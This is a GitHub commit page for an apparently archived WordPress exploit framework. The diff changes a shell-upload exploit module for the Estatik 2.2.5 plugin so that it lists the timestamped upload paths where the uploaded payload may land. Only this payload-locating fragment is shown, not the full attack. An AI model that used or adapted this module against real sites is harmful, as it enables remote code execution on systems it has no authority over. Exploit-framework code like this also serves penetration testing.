Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit caf7101

Browse files
committed
Fix module following changes to ShellUpload mixin
1 parent bbe7595 commit caf7101

File tree

1 file changed

+6
-4
lines changed

1 file changed

+6
-4
lines changed

modules/exploits/estatik_v2.2.5_shell_upload.rb

Lines changed: 6 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -40,12 +40,14 @@ def expected_upload_response_code
4040
500
4141
end
4242

43-
def execute_payload(_payload_url)
44-
@end_timestamp = Time.now.to_i
43+
def possible_payload_upload_locations
44+
locations = []
4545
base_upload_uri = normalize_uri(wordpress_url_uploads, Time.now.strftime('%Y'), Time.now.strftime('%m'))
4646

47-
(@start_timestamp..@end_timestamp).each do |timestamp|
48-
super(normalize_uri(base_upload_uri, "#{timestamp}_#{payload_name}"))
47+
upload_timestamp_range.each do |timestamp|
48+
locations.push(normalize_uri(base_upload_uri, "#{timestamp}_#{payload_name}"))
4949
end
50+
51+
locations
5052
end
5153
end

0 commit comments

Comments
 (0)